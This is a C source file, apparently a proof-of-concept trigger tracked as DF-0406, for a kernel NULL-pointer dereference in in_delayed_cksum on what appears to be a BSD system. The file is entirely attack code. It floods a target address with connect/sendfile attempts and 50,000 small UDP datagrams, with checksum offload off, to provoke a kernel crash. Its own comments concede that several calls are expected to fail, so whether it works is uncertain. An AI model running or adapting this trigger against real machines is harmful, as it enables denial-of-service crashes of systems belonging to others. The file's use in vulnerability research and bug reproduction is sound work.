DF-0406 / df_0406_sf.c
/* * DF-0406 alt: sendfile-based trigger. * * sendfile() can create multi-mbuf TX chains where the file-data mbufs are * separate from the protocol-header mbufs. With HW checksum offload * disabled, in_delayed_cksum is called on the resulting chain. If the * header mbuf ends near offset = IP_HDR + 6 (UDP) or IP_HDR + 16 (TCP) we * get the straddle condition and the unchecked m_pullup NULL deref. * * Build: cc -O2 -Wall -o df_0406_sf df_0406_sf.c * Run: ./df_0406_sf */ #include <sys/types.h> #include <sys/socket.h> #include <sys/stat.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <errno.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { const char *dst_ip = (argc > 1) ? argv[1] : "10.0.2.2"; int dst_port = (argc > 2) ? atoi(argv[2]) : 9; struct sockaddr_in dst; int s, fd, i; off_t off; memset(&dst, 0, sizeof dst); dst.sin_family = AF_INET; dst.sin_port = htons(dst_port); if (inet_pton(AF_INET, dst_ip, &dst.sin_addr) != 1) { perror("inet_pton"); return 2; } /* Create a temp file */ fd = open("/tmp/df0406.data", O_CREAT|O_TRUNC|O_RDWR, 0644); if (fd < 0) { perror("open"); return 2; } { char buf[64*1024]; memset(buf, 'F', sizeof buf); for (i = 0; i < 32; i++) write(fd, buf, sizeof buf); } lseek(fd, 0, SEEK_SET); if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return 2; } /* non-blocking connect to discard port - we expect it to fail but * the connect path itself exercises tcp TX which goes through * ip_output -> in_delayed_cksum (with HW csum off). */ int flags = 1; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &flags, sizeof flags); printf("DF-0406 alt: TCP connect/sendfile stress to %s:%d\n", dst_ip, dst_port); for (i = 0; i < 200; i++) { int c = socket(AF_INET, SOCK_STREAM, 0); if (c < 0) break; /* connect may fail (RST from 10.0.2.2:9) but TX of SYN/SYN-ACK * exercises ip_output. With -txcsum, the TCP csum is computed * in software via in_delayed_cksum. */ connect(c, (struct sockaddr*)&dst, sizeof dst); off = 0; /* sendfile will fail (not connected) but TX path may be probed */ sendfile(fd, c, off, 4096, NULL, NULL, 0); close(c); } /* Now try UDP */ s = socket(AF_INET, SOCK_DGRAM, 0); char b[64]; memset(b, 'U', sizeof b); for (i = 0; i < 50000; i++) { sendto(s, b, (i % 64) + 1, MSG_DONTWAIT, (struct sockaddr*)&dst, sizeof dst); } close(s); close(fd); unlink("/tmp/df0406.data"); printf("done\n"); return 0; } |